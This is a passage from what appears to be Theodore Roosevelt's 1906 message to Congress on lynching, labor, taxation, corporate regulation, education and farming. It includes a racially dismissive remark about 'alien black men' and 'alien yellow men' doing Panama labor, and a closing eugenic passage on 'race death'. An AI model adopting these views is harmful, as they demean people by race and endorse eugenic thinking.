indulge in the inflammatory and incendiary speeches and\nwritings which tend to arouse mobs and to bring about lynching, not\nonly thus excite the mob, but also tend by what criminologists call\n\"suggestion,\" greatly to increase the likelihood of a repetition of the\nvery crime against which they are inveighing. When the mob is composed\nof the people of one race and the man lynched is of another race, the\nmen who in their speeches and writings either excite or justify the\naction tend, of course, to excite a bitter race feeling and to cause\nthe people of the opposite race to lose sight of the abominable act of\nthe criminal himself; and in addition, by the prominence they give to\nthe hideous deed they undoubtedly tend to excite in other brutal and\ndepraved natures thoughts of committing it. Swift, relentless, and\norderly punishment under the law is the only way by which criminality\nof this type can permanently be supprest.In dealing with both labor and capital, with the questions affecting\nboth corporations and trades unions, there is one matter more important\nto remember than aught else, and that is the infinite harm done by\npreachers of mere discontent. These are the men who seek to excite a\nviolent class hatred against all men of wealth. They seek to turn wise\nand proper movements for the better control of corporations and for\ndoing away with the abuses connected with wealth, into a campaign of\nhysterical excitement and falsehood in which the aim is to inflame to\nmadness the brutal passions of mankind. The sinister demagogs and\nfoolish visionaries who are always eager to undertake such a campaign\nof destruction sometimes seek to associate themselves with those\nworking for a genuine reform in governmental and social methods, and\nsometimes masquerade as such reformers. In reality they are the worst\nenemies of the cause they profess to advocate, just as the purveyors of\nsensational slander in newspaper or magazine are the worst enemies of\nall men who are engaged in an honest effort to better what is bad in\nour social and governmental conditions. To preach hatred of the rich\nman as such, to carry on a campaign of slander and invective against\nhim, to seek to mislead and inflame to madness honest men whose lives\nare hard and who have not the kind of mental training which will permit\nthem to appreciate the danger in the doctrines preached--all this is to\ncommit a crime against the body politic and to be false to every worthy\nprinciple and tradition of American national life. Moreover, while such\npreaching and such agitation may give a livelihood and a certain\nnotoriety to some of those who take part in it, and may result in the\ntemporary political success of others, in the long run every such\nmovement will either fail or else will provoke a violent reaction,\nwhich will itself result not merely in undoing the mischief wrought by\nthe demagog and the agitator, but also in undoing the good that the\nhonest reformer, the true upholder of popular rights, has painfully and\nlaboriously achieved. Corruption is never so rife as in communities\nwhere the demagog and the agitator bear full sway, because in such\ncommunities all moral bands become loosened, and hysteria and\nsensationalism replace the spirit of sound judgment and fair dealing as\nbetween man and man. In sheer revolt against the squalid anarchy thus\nproduced men are sure in the end to turn toward any leader who can\nrestore order, and then their relief at being free from the intolerable\nburdens of class hatred, violence, and demagogy is such that they can\nnot for some time be aroused to indignation against misdeeds by men of\nwealth; so that they permit a new growth of the very abuses which were\nin part responsible for the original outbreak. The one hope for success\nfor our people lies in a resolute and fearless, but sane and\ncool-headed, advance along the path marked out last year by this very\nCongress. There must be a stern refusal to be misled into following\neither that base creature who appeals and panders to the lowest\ninstincts and passions in order to arouse one set of Americans against\ntheir fellows, or that other creature, equally base but no baser, who\nin a spirit of greed, or to accumulate or add to an already huge\nfortune, seeks to exploit his fellow Americans with callous disregard\nto their welfare of soul and body. The man who debauches others in\norder to obtain a high office stands on an evil equality of corruption\nwith the man who debauches others for financial profit; and when hatred\nis sown the crop which springs up can only be evil.The plain people who think--the mechanics, farmers, merchants, workers\nwith head or hand, the men to whom American traditions are dear, who\nlove their country and try to act decently by their neighbors, owe it\nto themselves to remember that the most damaging blow that can be given\npopular government is to elect an unworthy and sinister agitator on a\nplatform of violence and hypocrisy. Whenever such an issue is raised in\nthis country nothing can be gained by flinching from it, for in such\ncase democracy is itself on trial, popular self-government under\nrepublican forms is itself on trial. The triumph of the mob is just as\nevil a thing as the triumph of the plutocracy, and to have escaped one\ndanger avails nothing whatever if we succumb to the other. In the end\nthe honest man, whether rich or poor, who earns his own living and\ntries to deal justly by his fellows, has as much to fear from the\ninsincere and unworthy demagog, promising much and performing nothing,\nor else performing nothing but evil, who would set on the mob to\nplunder the rich, as from the crafty corruptionist, who, for his own\nends, would permit the common people to be exploited by the very\nwealthy. If we ever let this Government fall into the hands of men of\neither of these two classes, we shall show ourselves false to America's\npast. Moreover, the demagog and the corruptionist often work hand in\nhand. There are at this moment wealthy reactionaries of such obtuse\nmorality that they regard the public servant who prosecutes them when\nthey violate the law, or who seeks to make them bear their proper share\nof the public burdens, as being even more objectionable than the\nviolent agitator who hounds on the mob to plunder the rich. There is\nnothing to choose between such a reactionary and such an agitator;\nfundamentally they are alike in their selfish disregard of the rights\nof others; and it is natural that they should join in opposition to any\nmovement of which the aim is fearlessly to do exact and even justice to\nall.I call your attention to the need of passing the bill limiting the\nnumber of hours of employment of railroad employees. The measure is a\nvery moderate one and I can conceive of no serious objection to it.\nIndeed, so far as it is in our power, it should be our aim steadily to\nreduce the number of hours of labor, with as a goal the general\nintroduction of an eight-hour day. There are industries in which it is\nnot possible that the hours of labor should be reduced; just as there\nare communities not far enough advanced for such a movement to be for\ntheir good, or, if in the Tropics, so situated that there is no analogy\nbetween their needs and ours in this matter. On the Isthmus of Panama,\nfor instance, the conditions are in every way so different from what\nthey are here that an eight-hour day would be absurd; just as it is\nabsurd, so far as the Isthmus is concerned, where white labor can not\nbe employed, to bother as to whether the necessary work is done by\nalien black men or by alien yellow men. But the wageworkers of the\nUnited States are of so high a grade that alike from the merely\nindustrial standpoint and from the civic standpoint it should be our\nobject to do what we can in the direction of securing the general\nobservance of an eight-hour day. Until recently the eight-hour law on\nour Federal statute books has been very scantily observed. Now,\nhowever, largely through the instrumentality of the Bureau of Labor, it\nis being rigidly enforced, and I shall speedily be able to say whether\nor not there is need of further legislation in reference thereto; .for\nour purpose is to see it obeyed in spirit no less than in letter. Half\nholidays during summer should be established for Government employees;\nit is as desirable for wageworkers who toil with their hands as for\nsalaried officials whose labor is mental that there should be a\nreasonable amount of holiday.The Congress at its last session wisely provided for a truant court for\nthe District of Columbia; a marked step in advance on the path of\nproperly caring for the children. Let me again urge that the Congress\nprovide for a thorough investigation of the conditions of child labor\nand of the labor of women in the United States. More and more our\npeople are growing to recognize the fact that the questions which are\nnot merely of industrial but of social importance outweigh all others;\nand these two questions most emphatically come in the category of those\nwhich affect in the most far-reaching way the home life of the Nation.\nThe horrors incident to the employment of young children in factories\nor at work anywhere are a blot on our civilization. It is true that\neach. State must ultimately settle the question in its own way; but a\nthorough official investigation of the matter, with the results\npublished broadcast, would greatly help toward arousing the public\nconscience and securing unity of State action in the matter. There is,\nhowever, one law on the subject which should be enacted immediately,\nbecause there is no need for an investigation in reference thereto, and\nthe failure to enact it is discreditable to the National Government. A\ndrastic and thoroughgoing child-labor law should be enacted for the\nDistrict of Columbia and the Territories.Among the excellent laws which the Congress past at the last session\nwas an employers' liability law. It was a marked step in advance to get\nthe recognition of employers' liability on the statute books; but the\nlaw did not go far enough. In spite of all precautions exercised by\nemployers there are unavoidable accidents and even deaths involved in\nnearly every line of business connected with the mechanic arts. This\ninevitable sacrifice of life may be reduced to a minimum, but it can\nnot be completely eliminated. It is a great social injustice to compel\nthe employee, or rather the family of the killed or disabled victim, to\nbear the entire burden of such an inevitable sacrifice. In other words,\nsociety shirks its duty by laying the whole cost on the victim, whereas\nthe injury comes from what may be called the legitimate risks of the\ntrade. Compensation for accidents or deaths due in any line of industry\nto the actual conditions under which that industry is carried on,\nshould be paid by that portion of the community for the benefit of\nwhich the industry is carried on--that is, by those who profit by the\nindustry. If the entire trade risk is placed upon the employer he will\npromptly and properly add it to the legitimate cost of production and\nassess it proportionately upon the consumers of his commodity. It is\ntherefore clear to my mind that the law should place this entire \"risk\nof a trade\" upon the employer. Neither the Federal law, nor, as far as\nI am informed, the State laws dealing with the question of employers'\nliability are sufficiently thoroughgoing. The Federal law should of\ncourse include employees in navy-yards, arsenals, and the like.The commission appointed by the President October 16, 1902, at the\nrequest of both the anthracite coal operators and miners, to inquire\ninto, consider, and pass upon the questions in controversy in\nconnection with the strike in the anthracite regions of Pennsylvania\nand the causes out of which the controversy arose, in their report,\nfindings, and award exprest the belief \"that the State and Federal\ngovernments should provide the machinery for what may be called the\ncompulsory investigation of controversies between employers and\nemployees when they arise.\" This expression of belief is deserving of\nthe favorable consideration of the Congress and the enactment of its\nprovisions into law. A bill has already been introduced to this end.Records show that during the twenty years from January 1, 1881, to,\nDecember 31, 1900, there were strikes affecting 117,509 establishments,\nand 6,105,694 employees were thrown out of employment. During the same\nperiod there were 1,005 lockouts, involving nearly 10,000\nestablishments, throwing over one million people out of employment.\nThese strikes and lockouts involved an estimated loss to employees of\n$307,000,000 and to employers of $143,000,000, a total of $450,000,000.\nThe public suffered directly and indirectly probably as great\nadditional loss. But the money loss, great as it was, did not measure\nthe anguish and suffering endured by the wives and children of\nemployees whose pay stopt when their work stopt, or the disastrous\neffect of the strike or lockout upon the business of employers, or the\nincrease in the cost of products and the inconvenience and loss to the\npublic.Many of these strikes and lockouts would not have occurred had the\nparties to the dispute been required to appear before an unprejudiced\nbody representing the nation and, face to face, state the reasons for\ntheir contention. In most instances the dispute would doubtless be\nfound to be due to a misunderstanding by each of the other's rights,\naggravated by an unwillingness of either party to accept as true the\nstatements of the other as to the justice or injustice of the matters\nin dispute. The exercise of a judicial spirit by a disinterested body\nrepresenting the Federal Government, such as would be provided by a\ncommission on conciliation and arbitration, would tend to create an\natmosphere of friendliness and conciliation between contending parties;\nand the giving each side an equal opportunity to present fully its case\nin the presence of the other would prevent many disputes from\ndeveloping into serious strikes or lockouts, and, in other cases, would\nenable the commission to persuade the opposing parties to come to\nterms.In this age of great corporate and labor combinations, neither\nemployers nor employees should be left completely at the mercy of the\nstronger party to a dispute, regardless of the righteousness of their\nrespective claims. The proposed measure would be in the line of\nsecuring recognition of the fact that in many strikes the public has\nitself an interest which can not wisely be disregarded; an interest not\nmerely of general convenience, for the question of a just and proper\npublic policy must also be considered. In all legislation of this kind\nit is well to advance cautiously, testing each step by the actual\nresults; the step proposed can surely be safely taken, for the\ndecisions of the commission would not bind the parties in legal\nfashion, and yet would give a chance for public opinion to crystallize\nand thus to exert its full force for the right.It is not wise that the Nation should alienate its remaining coal\nlands. I have temporarily withdrawn from settlement all the lands which\nthe Geological Survey has indicated as containing, or in all\nprobability containing, coal. The question, however, can be properly\nsettled only by legislation, which in my judgment should provide for\nthe withdrawal of these lands from sale or from entry, save in certain\nespecial circumstances. The ownership would then remain in the United\nStates, which should not, however, attempt to work them, but permit\nthem to be worked by private individuals under a royalty system, the\nGovernment keeping such control as to permit it to see that no\nexcessive price was charged consumers. It would, of course, be as\nnecessary to supervise the rates charged by the common carriers to\ntransport the product as the rates charged by those who mine it; and\nthe supervision must extend to the conduct of the common carriers, so\nthat they shall in no way favor one competitor at the expense of\nanother. The withdrawal of these coal lands would constitute a policy\nanalogous to that which has been followed in withdrawing the forest\nlands from ordinary settlement. The coal, like the forests, should be\ntreated as the property of the public and its disposal should be under\nconditions which would inure to the benefit of the public as a whole.The present Congress has taken long strides in the direction of\nsecuring proper supervision and control by the National Government over\ncorporations engaged in interstate business and the enormous majority\nof corporations of any size are engaged in interstate business. The\npassage of the railway rate bill, and only to a less degree the passage\nof the pure food bill, and the provision for increasing and rendering\nmore effective national control over the beef-packing industry, mark an\nimportant advance in the proper direction. In the short session it will\nperhaps be difficult to do much further along this line; and it may be\nbest to wait until the laws have been in operation for a number of\nmonths before endeavoring to increase their scope, because only\noperation will show with exactness their merits and their shortcomings\nand thus give opportunity to define what further remedial legislation\nis needed. Yet in my judgment it will in the end be advisable in\nconnection with the packing house inspection law to provide for putting\na date on the label and for charging the cost of inspection to the\npackers. All these laws have already justified their enactment. The\ninterstate commerce law, for instance, has rather amusingly falsified\nthe predictions, both of those who asserted that it would ruin the\nrailroads and of those who asserted that it did not go far enough and\nwould accomplish nothing. During the last five months the railroads\nhave shown increased earnings and some of them unusual dividends; while\nduring the same period the mere taking effect of the law has produced\nan unprecedented, a hitherto unheard of, number of voluntary reductions\nin freights and fares by the railroads. Since the founding of the\nCommission there has never been a time of equal length in which\nanything like so many reduced tariffs have been put into effect. On\nAugust 27, for instance, two days before the new law went into effect,\nthe Commission received notices of over five thousand separate tariffs\nwhich represented reductions from previous rates.It must not be supposed, however, that with the passage of these laws\nit will be possible to stop progress along the line of increasing the\npower of the National Government over the use of capital interstate\ncommerce. For example, there will ultimately be need of enlarging the\npowers of the Interstate Commerce Commission along several different\nlines, so as to give it a larger and more efficient control over the\nrailroads.It can not too often be repeated that experience has conclusively shown\nthe impossibility of securing by the actions of nearly half a hundred\ndifferent State legislatures anything but ineffective chaos in the way\nof dealing with the great corporations which do not operate exclusively\nwithin the limits of any one State. In some method, whether by a\nnational license law or in other fashion, we must exercise, and that at\nan early date, a far more complete control than at present over these\ngreat corporations--a control that will among other things prevent the\nevils of excessive overcapitalization, and that will compel the\ndisclosure by each big corporation of its stockholders and of its\nproperties and business, whether owned directly or through subsidiary\nor affiliated corporations. This will tend to put a stop to the\nsecuring of inordinate profits by favored individuals at the expense\nwhether of the general public, the stockholders, or the wageworkers.\nOur effort should be not so much to prevent consolidation as such, but\nso to supervise and control it as to see that it results in no harm to\nthe people. The reactionary or ultraconservative apologists for the\nmisuse of wealth assail the effort to secure such control as a step\ntoward socialism. As a matter of fact it is these reactionaries and\nultraconservatives who are themselves most potent in increasing\nsocialistic feeling. One of the most efficient methods of averting the\nconsequences of a dangerous agitation, which is 80 per cent wrong, is\nto remedy the 20 per cent of evil as to which the agitation is well\nrounded. The best way to avert the very undesirable move for the\ngovernment ownership of railways is to secure by the Government on\nbehalf of the people as a whole such adequate control and regulation of\nthe great interstate common carriers as will do away with the evils\nwhich give rise to the agitation against them. So the proper antidote\nto the dangerous and wicked agitation against the men of wealth as such\nis to secure by proper legislation and executive action the abolition\nof the grave abuses which actually do obtain in connection with the\nbusiness use of wealth under our present system--or rather no\nsystem--of failure to exercise any adequate control at all. Some\npersons speak as if the exercise of such governmental control would do\naway with the freedom of individual initiative and dwarf individual\neffort. This is not a fact. It would be a veritable calamity to fail to\nput a premium upon individual initiative, individual capacity and\neffort; upon the energy, character, and foresight which it is so\nimportant to encourage in the individual. But as a matter of fact the\ndeadening and degrading effect of pure socialism, and especially of its\nextreme form communism, and the destruction of individual character\nwhich they would bring about, are in part achieved by the wholly\nunregulated competition which results in a single individual or\ncorporation rising at the expense of all others until his or its rise\neffectually checks all competition and reduces former competitors to a\nposition of utter inferiority and subordination.In enacting and enforcing such legislation as this Congress already has\nto its credit, we are working on a coherent plan, with the steady\nendeavor to secure the needed reform by the joint action of the\nmoderate men, the plain men who do not wish anything hysterical or\ndangerous, but who do intend to deal in resolute common-sense fashion\nwith the real and great evils of the present system. The reactionaries\nand the violent extremists show symptoms of joining hands against us.\nBoth assert, for instance, that, if logical, we should go to government\nownership of railroads and the like; the reactionaries, because on such\nan issue they think the people would stand with them, while the\nextremists care rather to preach discontent and agitation than to\nachieve solid results. As a matter of fact, our position is as remote\nfrom that of the Bourbon reactionary as from that of the impracticable\nor sinister visionary. We hold that the Government should not conduct\nthe business of the nation, but that it should exercise such\nsupervision as will insure its being conducted in the interest of the\nnation. Our aim is, so far as may be, to secure, for all decent, hard\nworking men, equality of opportunity and equality of burden.The actual working of our laws has shown that the effort to prohibit\nall combination, good or bad, is noxious where it is not ineffective.\nCombination of capital like combination of labor is a necessary element\nof our present industrial system. It is not possible completely to\nprevent it; and if it were possible, such complete prevention would do\ndamage to the body politic. What we need is not vainly to try to\nprevent all combination, but to secure such rigorous and adequate\ncontrol and supervision of the combinations as to prevent their\ninjuring the public, or existing in such form as inevitably to threaten\ninjury--for the mere fact that a combination has secured practically\ncomplete control of a necessary of life would under any circumstances\nshow that such combination was to be presumed to be adverse to the\npublic interest. It is unfortunate that our present laws should forbid\nall combinations, instead of sharply discriminating between those\ncombinations which do good and those combinations which do evil.\nRebates, for instance, are as often due to the pressure of big shippers\n(as was shown in the investigation of the Standard Oil Company and as\nhas been shown since by the investigation of the tobacco and sugar\ntrusts) as to the initiative of big railroads. Often railroads would\nlike to combine for the purpose of preventing a big shipper from\nmaintaining improper advantages at the expense of small shippers and of\nthe general public. Such a combination, instead of being forbidden by\nlaw, should be favored. In other words, it should be permitted to\nrailroads to make agreements, provided these agreements were sanctioned\nby the Interstate Commerce Commission and were published. With these\ntwo conditions complied with it is impossible to see what harm such a\ncombination could do to the public at large. It is a public evil to\nhave on the statute books a law incapable of full enforcement because\nboth judges and juries realize that its full enforcement would destroy\nthe business of the country; for the result is to make decent railroad\nmen violators of the law against their will, and to put a premium on\nthe behavior of the wilful wrongdoers. Such a result in turn tends to\nthrow the decent man and the wilful wrongdoer into close association,\nand in the end to drag down the former to the latter's level; for the\nman who becomes a lawbreaker in one way unhappily tends to lose all\nrespect for law and to be willing to break it in many ways. No more\nscathing condemnation could be visited upon a law than is contained in\nthe words of the Interstate Commerce Commission when, in commenting\nupon the fact that the numerous joint traffic associations do\ntechnically violate the law, they say: \"The decision of the United\nStates Supreme Court in the Trans-Missouri case and the Joint Traffic\nAssociation case has produced no practical effect upon the railway\noperations of the country. Such associations, in fact, exist now as\nthey did before these decisions, and with the same general effect. In\njustice to all parties, we ought probably to add that it is difficult\nto see how our interstate railways could be operated with due regard to\nthe interest of the shipper and the railway without concerted action of\nthe kind afforded through these associations.\"This means that the law as construed by the Supreme Court is such that\nthe business of the country can not be conducted without breaking it. I\nrecommend that you give careful and early consideration to this\nsubject, and if you find the opinion of the Interstate Commerce\nCommission justified, that you amend the law so as to obviate the evil\ndisclosed.The question of taxation is difficult in any country, but it is\nespecially difficult in ours with its Federal system of government.\nSome taxes should on every ground be levied in a small district for use\nin that district. Thus the taxation of real estate is peculiarly one\nfor the immediate locality in which the real estate is found. Again,\nthere is no more legitimate tax for any State than a tax on the\nfranchises conferred by that State upon street railroads and similar\ncorporations which operate wholly within the State boundaries,\nsometimes in one and sometimes in several municipalities or other minor\ndivisions of the State. But there are many kinds of taxes which can\nonly be levied by the General Government so as to produce the best\nresults, because, among other reasons, the attempt to impose them in\none particular State too often results merely in driving the\ncorporation or individual affected to some other locality or other\nState. The National Government has long derived its chief revenue from\na tariff on imports and from an internal or excise tax. In addition to\nthese there is every reason why, when next our system of taxation is\nrevised, the National Government should impose a graduated inheritance\ntax, and, if possible, a graduated income tax. The man of great wealth\nowes a peculiar obligation to the State, because he derives special\nadvantages from the mere existence of government. Not only should he\nrecognize this obligation in the way he leads his daily life and in the\nway he earns and spends his money, but it should also be recognized by\nthe way in which he pays for the protection the State gives him. On the\none hand, it is desirable that he should assume his full and proper\nshare of the burden of taxation; on the other hand, it is quite as\nnecessary that in this kind of taxation, where the men who vote the tax\npay but little of it, there should be clear recognition of the danger\nof inaugurating any such system save in a spirit of entire justice and\nmoderation. Whenever we, as a people, undertake to remodel our taxation\nsystem along the lines suggested, we must make it clear beyond\nperadventure that our aim is to distribute the burden of supporting the\nGovernment more equitably than at present; that we intend to treat rich\nman and poor man on a basis of absolute equality, and that we regard it\nas equally fatal to true democracy to do or permit injustice to the one\nas to do or permit injustice to the other.I am well aware that such a subject as this needs long and careful\nstudy in order that the people may become familiar with what is\nproposed to be done, may clearly see the necessity of proceeding with\nwisdom and self-restraint, and may make up their minds just how far\nthey are willing to go in the matter; while only trained legislators\ncan work out the project in necessary detail. But I feel that in the\nnear future our national legislators should enact a law providing for a\ngraduated inheritance tax by which a steadily increasing rate of duty\nshould be put upon all moneys or other valuables coming by gift,\nbequest, or devise to any individual or corporation. It may be well to\nmake the tax heavy in proportion as the individual benefited is remote\nof kin. In any event, in my judgment the pro rata of the tax should\nincrease very heavily with the increase of the amount left to any one\nindividual after a certain point has been reached. It is most desirable\nto encourage thrift and ambition, and a potent source of thrift and\nambition is the desire on the part of the breadwinner to leave his\nchildren well off. This object can be attained by making the tax very\nsmall on moderate amounts of property left; because the prime object\nshould be to put a constantly increasing burden on the inheritance of\nthose swollen fortunes which it is certainly of no benefit to this\ncountry to perpetuate.There can be no question of the ethical propriety of the Government\nthus determining the conditions upon which any gift or inheritance\nshould be received. Exactly how far the inheritance tax would, as an\nincident, have the effect of limiting the transmission by devise or\ngift of the enormous fortunes in question it is not necessary at\npresent to discuss. It is wise that progress in this direction should\nbe gradual. At first a permanent national inheritance tax, while it\nmight be more substantial than any such tax has hitherto been, need not\napproximate, either in amount or in the extent of the increase by\ngraduation, to what such a tax should ultimately be.This species of tax has again and again been imposed, although only\ntemporarily, by the National Government. It was first imposed by the\nact of July 6, 1797, when the makers of the Constitution were alive and\nat the head of affairs. It was a graduated tax; though small in amount,\nthe rate was increased with the amount left to any individual,\nexceptions being made in the case of certain close kin. A similar tax\nwas again imposed by the act of July 1, 1862; a minimum sum of one\nthousand dollars in personal property being excepted from taxation, the\ntax then becoming progressive according to the remoteness of kin. The\nwar-revenue act of June 13, 1898, provided for an inheritance tax on\nany sum exceeding the value of ten thousand dollars, the rate of the\ntax increasing both in accordance with the amounts left and in\naccordance with the legatee's remoteness of kin. The Supreme Court has\nheld that the succession tax imposed at the time of the Civil War was\nnot a direct tax but an impost or excise which was both constitutional\nand valid. More recently the Court, in an opinion delivered by Mr.\nJustice White, which contained an exceedingly able and elaborate\ndiscussion of the powers of the Congress to impose death duties,\nsustained the constitutionality of the inheritance-tax feature of the\nwar-revenue act of 1898.In its incidents, and apart from the main purpose of raising revenue,\nan income tax stands on an entirely different footing from an\ninheritance tax; because it involves no question of the perpetuation of\nfortunes swollen to an unhealthy size. The question is in its essence a\nquestion of the proper adjustment of burdens to benefits. As the law\nnow stands it is undoubtedly difficult to devise a national income tax\nwhich shall be constitutional. But whether it is absolutely impossible\nis another question; and if possible it is most certainly desirable.\nThe first purely income-tax law was past by the Congress in 1861, but\nthe most important law dealing with the subject was that of 1894. This\nthe court held to be unconstitutional.The question is undoubtedly very intricate, delicate, and troublesome.\nThe decision of the court was only reached by one majority. It is the\nlaw of the land, and of course is accepted as such and loyally obeyed\nby all good citizens. Nevertheless, the hesitation evidently felt by\nthe court as a whole in coming to a conclusion, when considered\ntogether with the previous decisions on the subject, may perhaps\nindicate the possibility of devising a constitutional income-tax law\nwhich shall substantially accomplish the results aimed at. The\ndifficulty of amending the Constitution is so great that only real\nnecessity can justify a resort thereto. Every effort should be made in\ndealing with this subject, as with the subject of the proper control by\nthe National Government over the use of corporate wealth in interstate\nbusiness, to devise legislation which without such action shall attain\nthe desired end; but if this fails, there will ultimately be no\nalternative to a constitutional amendment.It would be impossible to overstate (though it is of course difficult\nquantitatively to measure) the effect upon a nation's growth to\ngreatness of what may be called organized patriotism, which necessarily\nincludes the substitution of a national feeling for mere local pride;\nwith as a resultant a high ambition for the whole country. No country\ncan develop its full strength so long as the parts which make up the\nwhole each put a feeling of loyalty to the part above the feeling of\nloyalty to the whole. This is true of sections and it is just as true\nof classes. The industrial and agricultural classes must work together,\ncapitalists and wageworkers must work together, if the best work of\nwhich the country is capable is to be done. It is probable that a\nthoroughly efficient system of education comes next to the influence of\npatriotism in bringing about national success of this kind. Our federal\nform of government, so fruitful of advantage to our people in certain\nways, in other ways undoubtedly limits our national effectiveness. It\nis not possible, for instance, for the National Government to take the\nlead in technical industrial education, to see that the public school\nsystem of this country develops on all its technical, industrial,\nscientific, and commercial sides. This must be left primarily to the\nseveral States. Nevertheless, the National Government has control of\nthe schools of the District of Columbia, and it should see that these\nschools promote and encourage the fullest development of the scholars\nin both commercial and industrial training. The commercial training\nshould in one of its branches deal with foreign trade. The industrial\ntraining is even more important. It should be one of our prime objects\nas a Nation, so far as feasible, constantly to work toward putting the\nmechanic, the wageworker who works with his hands, on a higher plane of\nefficiency and reward, so as to increase his effectiveness in the\neconomic world, and the dignity, the remuneration, and the power of his\nposition in the social world. Unfortunately, at present the effect of\nsome of the work in the public schools is in the exactly opposite\ndirection. If boys and girls are trained merely in literary\naccomplishments, to the total exclusion of industrial, manual, and\ntechnical training, the tendency is to unfit them for industrial work\nand to make them reluctant to go into it, or unfitted to do well if\nthey do go into it. This is a tendency which should be strenuously\ncombated. Our industrial development depends largely upon technical\neducation, including in this term all industrial education, from that\nwhich fits a man to be a good mechanic, a good carpenter, or\nblacksmith, to that which fits a man to do the greatest engineering\nfeat. The skilled mechanic, the skilled workman, can best become such\nby technical industrial education. The far-reaching usefulness of\ninstitutes of technology and schools of mines or of engineering is now\nuniversally acknowledged, and no less far--reaching is the effect of a\ngood building or mechanical trades school, a textile, or watch-making,\nor engraving school. All such training must develop not only manual\ndexterity but industrial intelligence. In international rivalry this\ncountry does not have to fear the competition of pauper labor as much\nas it has to fear the educated labor of specially trained competitors;\nand we should have the education of the hand, eye, and brain which will\nfit us to meet such competition.In every possible way we should help the wageworker who toils with his\nhands and who must (we hope in a constantly increasing measure) also\ntoil with his brain. Under the Constitution the National Legislature\ncan do but little of direct importance for his welfare save where he is\nengaged in work which permits it to act under the interstate commerce\nclause of the Constitution; and this is one reason why I so earnestly\nhope that both the legislative and judicial branches of the Government\nwill construe this clause of the Constitution in the broadest possible\nmanner. We can, however, in such a matter as industrial training, in\nsuch a matter as child labor and factory laws, set an example to the\nStates by enacting the most advanced legislation that can wisely be\nenacted for the District of Columbia.The only other persons whose welfare is as vital to the welfare of the\nwhole country as is the welfare of the wageworkers are the tillers of\nthe soil, the farmers. It is a mere truism to say that no growth of\ncities, no growth of wealth, no industrial development can atone for\nany falling off in the character and standing of the farming\npopulation. During the last few decades this fact has been recognized\nwith ever-increasing clearness. There is no longer any failure to\nrealize that farming, at least in certain branches, must become a\ntechnical and scientific profession. This means that there must be open\nto farmers the chance for technical and scientific training, not\ntheoretical merely but of the most severely practical type. The farmer\nrepresents a peculiarly high type of American citizenship, and he must\nhave the same chance to rise and develop as other American citizens\nhave. Moreover, it is exactly as true of the farmer, as it is of the\nbusiness man and the wageworker, that the ultimate success of the\nNation of which he forms a part must be founded not alone on material\nprosperity but upon high moral, mental, and physical development. This\neducation of the farmer--self-education by preference but also\neducation from the outside, as with all other men--is peculiarly\nnecessary here in the United States, where the frontier conditions even\nin the newest States have now nearly vanished, where there must be a\nsubstitution of a more intensive system of cultivation for the old\nwasteful farm management, and where there must be a better business\norganization among the farmers themselves.Several factors must cooperate in the improvement of the farmer's\ncondition. He must have the chance to be educated in the widest\npossible sense--in the sense which keeps ever in view the intimate\nrelationship between the theory of education and the facts of life. In\nall education we should widen our aims. It is a good thing to produce a\ncertain number of trained scholars and students; but the education\nsuperintended by the State must seek rather to produce a hundred good\ncitizens than merely one scholar, and it must be turned now and then\nfrom the class book to the study of the great book of nature itself.\nThis is especially true of the farmer, as has been pointed out again\nand again by all observers most competent to pass practical judgment on\nthe problems of our country life. All students now realize that\neducation must seek to train the executive powers of young people and\nto confer more real significance upon the phrase \"dignity of labor,\"\nand to prepare the pupils so that, in addition to each developing in\nthe highest degree his individual capacity for work, they may together\nhelp create a right public opinion, and show in many ways social and\ncooperative spirit. Organization has become necessary in the business\nworld; and it has accomplished much for good in the world of labor. It\nis no less necessary for farmers. Such a movement as the grange\nmovement is good in itself and is capable of a well-nigh infinite\nfurther extension for good so long as it is kept to its own legitimate\nbusiness. The benefits to be derived by the association of farmers for\nmutual advantage are partly economic and partly sociological.Moreover, while in the long run voluntary efforts will prove more\nefficacious than government assistance, while the farmers must\nprimarily do most for themselves, yet the Government can also do much.\nThe Department of Agriculture has broken new ground in many directions,\nand year by year it finds how it can improve its methods and develop\nfresh usefulness. Its constant effort is to give the governmental\nassistance in the most effective way; that is, through associations of\nfarmers rather than to or through individual farmers. It is also\nstriving to coordinate its work with the agricultural departments of\nthe several States, and so far as its own work is educational to\ncoordinate it with the work of other educational authorities.\nAgricultural education is necessarily based upon general education, but\nour agricultural educational institutions are wisely specializing\nthemselves, making their courses relate to the actual teaching of the\nagricultural and kindred sciences to young country people or young city\npeople who wish to live in the country.Great progress has already been made among farmers by the creation of\nfarmers' institutes, of dairy associations, of breeders' associations,\nhorticultural associations, and the like. A striking example of how the\nGovernment and the farmers can cooperate is shown in connection with\nthe menace offered to the cotton growers of the Southern States by the\nadvance of the boll weevil. The Department is doing all it can to\norganize the farmers in the threatened districts, just as it has been\ndoing all it can to organize them in aid of its work to eradicate the\ncattle fever tick in the South. The Department can and will cooperate\nwith all such associations, and it must have their help if its own work\nis to be done in the most efficient style.Much is now being done for the States of the Rocky Mountains and Great\nPlains through the development of the national policy of irrigation and\nforest preservation; no Government policy for the betterment of our\ninternal conditions has been more fruitful of good than this. The\nforests of the White Mountains and Southern Appalachian regions should\nalso be preserved; and they can not be unless the people of the States\nin which they lie, through their representatives in the Congress,\nsecure vigorous action by the National Government.I invite the attention of the Congress to the estimate of the Secretary\nof War for an appropriation to enable him to begin the preliminary work\nfor the construction of a memorial amphitheater at Arlington. The Grand\nArmy of the Republic in its national encampment has urged the erection\nof such an amphitheater as necessary for the proper observance Of\nMemorial Day and as a fitting monument to the soldier and sailor dead\nburied there. In this I heartily concur and commend the matter to the\nfavorable consideration of the Congress.I am well aware of how difficult it is to pass a constitutional\namendment. Nevertheless in my judgment the whole question of marriage\nand divorce should be relegated to the authority of the National\nCongress. At present the wide differences in the laws of the different\nStates on this subject result in scandals and abuses; and surely there\nis nothing so vitally essential to the welfare of the nation, nothing\naround which the nation should so bend itself to throw every safeguard,\nas the home life of the average citizen. The change would be good from\nevery standpoint. In particular it would be good because it would\nconfer on the Congress the power at once to deal radically and\nefficiently with polygamy; and this should be done whether or not\nmarriage and divorce are dealt with. It is neither safe nor proper to\nleave the question of polygamy to be dealt with by the several States.\nPower to deal with it should be conferred on the National Government.When home ties are loosened; when men and women cease to regard a\nworthy family life, with all its duties fully performed, and all its\nresponsibilities lived up to, as the life best worth living; then evil\ndays for the commonwealth are at hand. There are regions in our land,\nand classes of our population, where the birth rate has sunk below the\ndeath rate. Surely it should need no demonstration to show that wilful\nsterility is, from the standpoint of the nation, from the standpoint of\nthe human race, the one sin for which the penalty is national death,\nrace death; a sin for which there is no atonement; a sin which is the\nmore dreadful exactly in proportion as the men and women guilty thereof\nare in other respects, in character, and bodily and mental powers,\nthose whom for the sake 